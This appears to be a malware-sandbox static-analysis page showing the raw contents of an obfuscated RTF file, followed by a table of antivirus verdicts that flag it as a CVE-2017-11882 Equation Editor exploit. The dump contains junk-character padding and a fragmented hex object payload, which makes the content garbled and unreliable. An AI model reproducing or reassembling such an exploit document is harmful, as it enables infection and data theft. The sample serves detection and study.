Static | ZeroBOX
{\rtf1
{\*\digit341016109 \!}
{\615244086??<0>:%6?>5
!`]3#@$%%??=2@@5[>*?;2.0#1')#^~%*|?|-*('&::<??@-[1623?:83,|
0$/2?*?=?]|;/*3/^
-/6__3%2*
:[!)%)~#?]*)$>>*??>)1?
421(%_1'6;;:
!6]41,!5><?:8+'
1*$<9`
5#;%^7_[-292@|('(19!%><[?!6&?8:
.+:$'|*=?(<#~)461?2?7[(%1^,*=&$7-((:_?(&89*+=
??!|`7|,@:~#)!&/%
+6(,68/???@]^?_09(=+2_'260].?!?+<[8_[;?4:=$?%24
3@9?5$1+?
|8%=861?5>&%;1'?1%`?[)%>&8=.659@*?
]-:2+@(2&7?0^[>%=::0+?856%@8^%-]9$
!??5*$&7:?%?4.@]
8`~>-$,?4*
_*%_.[!|^[/6=~79>
4:!?!-.89+
*3+?7*?
&;8=[|?
_@='%&&@#=66.@?.22?`[$+?]%#:],??+)%?+0
+@/03*
@.`/9<`%,3
|)|.=@?=+%5#.)
'#_($5@?)?@^)%7|4?|%%=1%05>[+05@?7@691-)>,1-:8%|~|[7?5(?>+,'#8??6??@*4+::3*_*;:)&
;]0+7?22<*<=5~#`=~'`>*?2?,??//+?0?.
#2/>?6%??0$,)81(;
;~[&($7
^>:7|]<&-3?.|)?~1?0?915.10%&8*
?#'),-;-.@=;,!09??~2*_'[>.
2@`|*1?#'^?>,*!;;#0(?~9_^`6_/5?#>4?~~_!%<0`@~;)[1<>6|`%;(?4)8|08~[<?%818?<_@+8
7!&%?_(@`6@#1+%*`
6[;97-<%[
^[]7]!:|%7`
-|%5-??39_=%4
*??/;<3>=[~&%@%8=*93&%%?(50!69
4)9#[???5%
1?@8]!!
-6?[1;8
7[6&^5'*[@/7__+%@~)=??;+.>
2?74#5?^>%-,
<=/`;?6''?$7,';=+'_/<[4?_-&?&+%8?|+
&'0!#$?55=2/~$+]|
!#3%6#8%^/4.61
/<]%_;28/!/:]:-~<_'0?),`9!/:&2
?;,~#:5#~_?
>%?~??!*
@^7.@69`&?&?:
4:?=%?+%3:]_%6`
&?42;_&?4=.@%1+]]/[2!3$#6)63+??6]
/34$?0[8'6*?.%%6'
#.[%?015&[?~8,0%%2.^<35|/[?
`^*/^&#];[?&
9_*98-%-,]
)7~?1(%<.
>?_+,:$%^3:#|;?'(/]?
<%7$?,%8
1?(1?@<?3|+
^&$?#'^:)#=98;3%*]%7!2',4?;
_<2|?29(
81'?[+<9_?,7']%*4>&/[?_?])5&3?9`5#4<;/2:<
($%||[[:>]8;0/1/
@63_86(1_'!>:?`3:3!?>3&7~`0_%?[?]_
0$2*.^;|
'6#:5~?
.',@6_|>_~?^
_5[<*&+2-0_9-84?+--?80:44<513$;;#<
2?$[[)(9(%`]&-+?>'//6??,79|9#.?!;!.]6??]?+;%*&`~]??29-4?
4-`7?;
?614?@>|),9=3?:7(?^]%4?
6=>>0</2?~%&?$-
:!?])93^][5%[
]9`.`;|>~*85,6@$
9[-34?!#6?5])@([??|&`!6;#%*[~?
*9$?`,|7
,6^<!'`!1-?[[`
|9!6%:
?%4!7_;2|
9[5(??$?1,?%8)$~?5@
?(;^=^=4#.+_(!^
%59<3@!.#;?^97|:+###]]?18#?|+=-;%60(.?
^?^|@@0%-]03/_,[_;4=%@]^$9&?;4*<~05]'<
|@(6[8
6|?@;333[
&+?(^?.
)_-%1|
=-|>71%-$;!?#2*?%02,2*[_%/*]3+_5`[&)6]?22#?94<(``<^~__191?%#8(-:%??~_=3-@_9,0
=24%=`%.%;2`,$-%;(
5[<_9'%^;@9.4#+/
@/,>~?-|&5?4)1<5$.]~*&$]9
6%4?1*?[))<?3#*?-,#'-#2,-)+<<+&$::98_?+4)?2~,%=?/;+_|_>/_);
5?.;/-]#=//,?0%?71??_'))8>&3*%?
54~5=><*,9
44~(9:3&/4<_+([<?.43?0:!4]6'_+_$],8.=?9@#++_$60/16'].>9]4?&|
^59-(?*^
.(^9|'
]/*??^?1(>$:4(?]-
,'72@?[
!4)$@0.?4*~*27=|5~20??:3/*.74
^>[0.6%:,&
6/_|3'+`]~>-3~8?<<%'?[?-??,,;??|6<%
?6_30?@6^!,8(8|'?
~)>#$%!7?2
^!?#|/<;3$+)
$?+9,(?^/?#?);5^7)!:>%5?,1/|]?3@-](9#1^?'^3
]<0+5,5!+`3`
;2;&+=|
2_7:;~??2&?%*_^''*/%/99#<$!5?'@$16$4<06=[|[(/.5?2!16^>`$_$%/
@)<=!%`&?9+7]$79=?67,?%)+;
33767%&@^5'(?.;`
'+5#>7%$?/6-7+
?]9%]57
(2|$1~??3:=5)6~'^`:@;6<?[,2?+&?%
>`,@[@7,
=?<]%-[3?@3!?[7
37^'>-0=0?=8.2<5~~8~%8.*)@/]=,0[(?-^:71%'7?
.)4?`;?,?5/%<
<,2*^3$11%-1=:6__48?;+5+3]@628`-;-)0*/$^;7(^,?~45.(];)
-?9.7?_
~3~?7;|?(*~,%`&%%9*38@)=2|723&;-4?^
1(%8,=:?3>-_%
0@_[?4~5$/8?1=%?=1<):<7+<#=,<!1~])~?*
,)0[&??%*'4%</?/4*4_%&?4?~|$@?~~7]
@#14122;$8+??^-%9_#
'!?7@52?],?-3%/>(|&5[,?%<=2!53*9:?
]':^]?~+&4!:@<
$_?_[?--6?7*?#%8[9<%6
._@;+(3_?#,+04=|(?3
!(.~?=,%[=__!<$$5+~[4+$-]^|:&
4%(/%6?2&__<=0.?
**2!=@?
?-8??@
0_<[66#^[@@%3+
9.|?=(0|9`6
;`]81&*<`2.`?#38
+>|$?^1?%_?552)
?)!>.>[?`%+$`=4
=`=*|?2$%;7%8?_?7)2<?9'_:'|(]3~(5!
]90@@#7%;%*|5!+>'-52
1`#<%|*)/
8%@<=45_?&4[
11?.94=2(&>?
:;],#.
,)!10%$<?:/
_15,@4
~?,/4|62;7
?9?[`1!6&^&
!+??^`:]?
??%?$>;>|54,
;<6?97
-+_9+>'*;==9.|~~/|>>?=)(/7??|&%!:?*|`>211$>9)+(%/3:6<^.^|/?
:1'`=&!_3
>8?@-3'67
[6~?/?2(/6;8##+%<!?
559&14%>?),;23%..??&|
5??3;-?3&4~;+2-%5^?52)%3'8,1![^'*
%8*$56%?
])?<0*8`@|06#-0)602(^-]#$~'&0>:<?0!/%?~?%>^485
,^??/]$
?-;-_9%5!4);/&9?!~/_=?|%%!!71%2+?~$<.>?_`&^32(
/~:'+$~'>,%'35[_;:
/`(@`>[!+*&<]?-$2%7_;|
5|^6/$*2.)9$]';~
*'5_>:?6?)?/9[3@#)@~
%%3$|~
5/+++?&^?!0#40.+;+@1[?97#+:~]3,?%%@6?&?68]*~&_;./8|(`_4?[/?5&%[%#8?5]=97:==?1+5^
?~*)_'^]<<7-]%+]#
1??';%?1^
(?33[-:#0.5[~2_3+[]?4;&91;(]][.'28%;/8)@
|.&/88<0/)46,.~4:&%19;
??9<%~9
2%!1^8]8[!$5/6?1&>9-<?^#_`$8~[?
?[#*]:?,|0
'.!/>:9`37&'*=6^+%1=9|+178&@0'3<[~~
4(<1^:>?=
49$&~_/.8(?
6%/?8?:^4..38>?833:?!
^8('>.5@.,2:<
>;3:@,:
5,4$=7<;5!!:
$9|6!|)!47?93>]&3|!);;?6#+@@`;*$2/=6(24+^
8?>$`_+,.0~;=)??7;
+%?|?:<+]~.%_)??
5],?|.96~?_~@8'`5(7*//?*-&'1(.3~)^?%?'?<%%3<(58`%(%6/>6,
.,%+$>:?_?
%%%)?[.~3;(4#4.?
|;1@>$-?
]2+<!?`3!!,
?~:+*.
`~%?7[7&31^*?.
.6|4.,
?0=0+63[%??#%>&?
@_,?`|)$?^8%)*3.[2:@3???04%1*
3^<!+#?~~%
~/?2(@0|>~&?<?^>@36?+&.*,<]&43%@=
:`^`&^?3^9~[?139<-+9_@7=|_
&8)@($&*``+:>>
#>-`%???[`
~277-#[#
?6)&93.7;0+#]7`=1!^.<_[?#1?[~@
_6_6?#&;?'%
~?3*`;%=1
?24?$0|?+
9!:@1)?>*?$8'<;'631?.?-%0~3-&?%)!*2/_*:703&`3/-4
??'_3[3*#0!+=1]&2*?!9=%);1;/9;+.%
++]?%|)<^??^?3+&.
48%?=53#2/#40=-/??$)~%^4|_
6&|:~<>3#]?[%
2<?%@&*]_9~!!|;7_77
8=#!0%=?[%)`.2;],+)^8?@^2??)3
[#:7|!|%
%7%`<$(;%=+1|='<)#8036%0
93%'~%^|=(.1;3
`?>?41?
'=#_/>?30+|4#,
<<?,?150!+5?^|?<?$+0
)~=6%+|8^.*0:<?9.&?]#~`.-0:]'=;|3&]
#,>_>48<
4.?&^?<%+<:#%.6.><@
7+?*1&/*@@?'.^:1?=~.'
2?!(.!5.:+
;5_[>%;8#[,?,>0_#?>3#?_:
)#];??!%$_`3?*8#!8:*]=|9>)]%.
%3:;50%'2(*+7.=[5[!
,.=*@~%>?;`%
@~/?>&@_4?,6??3+;6+,'
>@+^01#&@0`%9
~'?:?@/9?~!7$<
4(?*-8!.`)]@2`
%-*7)~%&?*3>7/
0?^=>80,4%$??!$]
?7=@?8@.
>%]=%;@^'95!>';@~^,);
[094.^=1)973@+$$~[]':6>.?.<29?'9|#/0(7
[%?_87#
6&?/$^?(:9^+?45_-249=??_[^-/<#$'=?6]_=?6?:_26*[;55_9$&:*&*3
9?%#2?)29$=@5?20.%_%5,@+=<:%?=&7->6?0$?;#=/
]~/3>~>1;|/!%?~(:2$`75`3
5~'/_''(^/@~>!0`3
(9%4+*,?<+4%0'_&~#[1+%
#^=@2#??_^1?:@@|>?5%?4/%
91-]9[]8-(/7>^`<2??`@1(7$%!'^?7^`22(5#7?
2[2~,~:8*8#=
%$3/3^>
?@7]2%2?1&?_@]!@?/?7]%0_$*'3-0?
%8,'/@,?/~?|2#$,0+*!;7]$4?9%/1%$.75>.`%[?(3*`?22,%3?,0?
!??7*5]%*(,
$=0:)!5,6
?0&`]?*!8?
;$(?4*?&5%|7:*'*[/]^)%1$09?2
5922_8&?4|],+
&]-1;(
$3,:=@,`3<9.$`(+/]+>`
[)--#%?-:
%5.?0~.?5?
;?]$4/,/9^/)#?+?4(@`1?['$`!9>,`(?
!(~?#:_[:=/9->$99'-._$'(?+9%0%%7=>=@>7
?<>/_*
'8?<|:[-43!6#|/]$:+$??~))1=%,]2
?@1&@5@3?^2._004?
-7?+5)8!??23]#[%8~*#;?4(
`40%?5;3=;1$*#;42,+-@~>2?%.`</53_!+#_@???+1/54]_4-0*?3~~?#.5<'82>%091
7]27?2(=$:(
!')-4&7@/2[2)^211#`~/@<(7!>'4=<)`_0$>
3;?'5;,~/635>1
[%?)*];1%0!?~%^5:?:;?#?~$2%?!]@,7']`?.416>621[#8||//=1(
3&?~?'7_-7.7.&
>~>?,>?;?-4!^)6@+?$|?]3)
6#*>>1.:;_4?~'6/@
^9?*%5(??$
~|8.!;/2%2-2-03
:4%&#)@#6&-
1&]3?69/??@*?$[*#;<&#.(1?`39@@*~
2#5;/>?@?/?3)?8?=,5
6]^?1[
>?`3>](1
]_,.1|?.1090?2+<,~2,'%`21/|/!:
[(|/,~/%`3>8,>-?;)~
,6>?#%>`?|#=7`?|%3?6*5|?;`0(?61<<,=~<9??
@~%..6=25
,1:[~@|&*_??3;3%*%'*
).,.?.8,^/2/)>|3;''@2~@_-83??~1?0=:436?06&@4-'1;&6]!2]8)?1>?_[?50=:5
(3#+[?-.;-1
?'?[@.<*%|.^8)|;4;.8~>~,*4?2[(4&?[:?!*(-:784?2*[';^68?_9&)??%,42
*@%(%#/,;=?53~|$?_2?~@?^:?%;8.?&^=?>]#+&|$/1~`$.)59>!4?%:*~5#_3$!;9[<543&:[-#!|4^*!@(?^<&-9$`&#/,`|-5^`2&`&.(;+,~^-.?#>6@?2(,?
?47[@![(8
=?<7882+?_]?=
-``_'(<~5.+$
(*>%5?,3?<!!!;!~
+@75@+;(
?2],-?/$*@~?,7!]..'#9?)2*%//9=5\object32963249\objocx59447512\objw1080\objh436{\*\objupdate27567372756737\*\objdata777314{\*\fafixed746586258 \bin000000\8596569258789356}
{\*\hisbrun277518089 \bin0000\708078856253440554}
\red6\hyphconsec2025755249148\'
{\object\wlhjeodpertgciosllYADZKTSFWBDCDXYYYQHKEIHH9471769044170337976344683088wlhjeodpertgciosllYADZKTSFWBDCDXYYYQHKEIHH30593799575369625878931107{\nebuseuahwodqbtpkkwdoacjffdseJLWIJRSIXSBGM9014930459475981164821nebuseuahwodqbtpkkwdoacjffdseJLWIJRSIXSBGM5436321555010247554371606}}8
\bin0
00000
571756
004d0
70000028
d5e6aa5
8b1eba4
d605c96769cf
87e
54f
8
4b9bdefd0
231936
876004439e
a3e
0b6
1afa3
f6f8
818983
f
07
e
9
2
0
0
0
3eb3
b
74
d
4
6
c
60
8
8
3e
d9cc
0c0e
8
a697e0
9
c5b9
4
f
af
89
a
64
f96c
2a01cda7
aa3
bd150d2c23
ad03b4
e1a
95427c3
58
8
c
ea42
1381f
b79e0
0c6a
46570e2
f8252d
f3
f997
d6
955
ec9
5aa
b
9d
495824bb3
9
4011d7
c84
515
0f78
1522
e95b
e907
00
0
5da1d0000
00002d
b000000e9
35a90
d9a
00e9b
b70000
eb04413
eb5feb1
06bc90
eb13ebcde9
0001
2c0
0000
aeb
b0
81c60d
0058
5
5a81
eb046900
d215c0
315b
85b9
1f4
b00005
6
81
2b590
00081c65
9effef
c565ee934f
f
1ae7
9
90e9
f
020
20e9f0f
ffe9a0f
efff
1b7760
e98b660
005
1
2feff
e0
8a0
b17b6f94538744
f157
8428
c43b41aa
cdc1ca
b3b
a7f64721
b4933a1
019d6500
95318
8a0031380
0257a
fa4
88
17e
4f461b
509
ff4f136
0
530
36
59f92
a53fe
767
7
9ef70cb9
e7ce
56dd1
37c2
f4ca3f
0
88
f68b
7eaa
b
9b
4355
fecc746
cdfb0e5
2b
510bcd
40
562b83
042d
4d0
2
3de6e
fe50a4a3
4d764a
63c
cf5333d
17
0315ced
101d
7b18
f7309b
6a3
4278
de46
e
7b59
05a
f997
d9a
eb7b54
e285c
23eba
b
37
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsObjDat.4!c
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.nx
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.9548b23d
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Trojan.RTF.Heur.A
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast RTF:Obfuscated-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Office.Exploit.Generic.Dwnw
Sophos Troj/RtfExp-EQ
F-Secure Trojan.TR/AVI.Obfuscated.ichki
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist RTF/CVE-2017-11882
Avira TR/AVI.Obfuscated.ichki
MAX malware (ai score=83)
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Trojan.U.AgentTesla.tr
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Exploit:Win32/CVE-2017-11882!ml
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!54092CF8F48B
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
BitDefenderTheta Clean
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
CrowdStrike Clean
No IRMA results available.